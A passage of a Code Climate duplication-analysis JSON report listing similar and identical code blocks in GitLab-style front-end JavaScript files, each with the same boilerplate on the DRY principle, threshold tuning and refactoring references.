in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"762a1afa922792a6981db079fca70fa7","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/create_merge_request_dropdown.js","lines":{"begin":124,"end":134}},"remediation_points":1980000,"other_locations":[{"path":"app/assets/javascripts/create_merge_request_dropdown.js","lines":{"begin":112,"end":122}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 101**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"762a1afa922792a6981db079fca70fa7","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/projects_list.js","lines":{"begin":7,"end":18}},"remediation_points":1980000,"other_locations":[{"path":"app/assets/javascripts/groups_list.js","lines":{"begin":7,"end":18}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 101**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"23431c5334e56a528fc4eb179e3607ec","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/groups_list.js","lines":{"begin":7,"end":18}},"remediation_points":1980000,"other_locations":[{"path":"app/assets/javascripts/projects_list.js","lines":{"begin":7,"end":18}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 101**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"1c7090c499a2a96d464475ad7f818f11","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 3 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/users_select.js","lines":{"begin":605,"end":609}},"remediation_points":960000,"other_locations":[{"path":"app/assets/javascripts/users_select.js","lines":{"begin":610,"end":614}},{"path":"app/assets/javascripts/users_select.js","lines":{"begin":615,"end":619}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 67**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"448aadd60c1a014f7e3ec3eed8404a65","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 3 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/users_select.js","lines":{"begin":610,"end":614}},"remediation_points":960000,"other_locations":[{"path":"app/assets/javascripts/users_select.js","lines":{"begin":605,"end":609}},{"path":"app/assets/javascripts/users_select.js","lines":{"begin":615,"end":619}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 67**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"448aadd60c1a014f7e3ec3eed8404a65","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 3 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/users_select.js","lines":{"begin":615,"end":619}},"remediation_points":960000,"other_locations":[{"path":"app/assets/javascripts/users_select.js","lines":{"begin":605,"end":609}},{"path":"app/assets/javascripts/users_select.js","lines":{"begin":610,"end":614}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 67**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"448aadd60c1a014f7e3ec3eed8404a65","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/droplab/plugins/filter.js","lines":{"begin":84,"end":90}},"remediation_points":1890000,"other_locations":[{"path":"app/assets/javascripts/droplab/plugins/ajax_filter.js","lines":{"begin":102,"end":108}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 98**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"38d9afeb8b320571be87977725fdcafe","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/droplab/plugins/ajax_filter.js","lines":{"begin":102,"end":108}},"remediation_points":1890000,"other_locations":[{"path":"app/assets/javascripts/droplab/plugins/filter.js","lines":{"begin":84,"end":90}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 98**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"8f8bc2a8aade90176f81a992ae00dd6e","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/vue_merge_request_widget/stores/state_maps.js","lines":{"begin":1,"end":21}},"remediation_points":1860000,"other_locations":[{"path":"app/assets/javascripts/badges/store/mutation_types.js","lines":{"begin":1,"end":21}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 97**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"7a9bae0109305e0b1d43de56513651bb","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/badges/store/mutation_types.js","lines":{"begin":1,"end":21}},"remediation_points":1860000,"other_locations":[{"path":"app/assets/javascripts/vue_merge_request_widget/stores/state_maps.js","lines":{"begin":1,"end":21}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 97**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"500922ffefee136d140bb5e95d7a3653","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/protected_tags/protected_tag_edit_list.js","lines":{"begin":6,"end":19}},"remediation_points":1830000,"other_locations":[{"path":"app/assets/javascripts/protected_branches/protected_branch_edit_list.js","lines":{"begin":6,"end":19}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 96**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"746b71495fe41db39299682caa93445c","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/protected_branches/protected_branch_edit_list.js","lines":{"begin":6,"end":19}},"remediation_points":1830000,"other_locations":[{"path":"app/assets/javascripts/protected_tags/protected_tag_edit_list.js","lines":{"begin":6,"end":19}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 96**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"f5f6ce24443dd76a3e1d0f7521a36be5","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"identical-code","description":"Identical blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/settings_panels.js","lines":{"begin":7,"end":10}},"remediation_points":390000,"other_locations":[{"path":"app/assets/javascripts/settings_panels.js","lines":{"begin":17,"end":20}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 48**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat 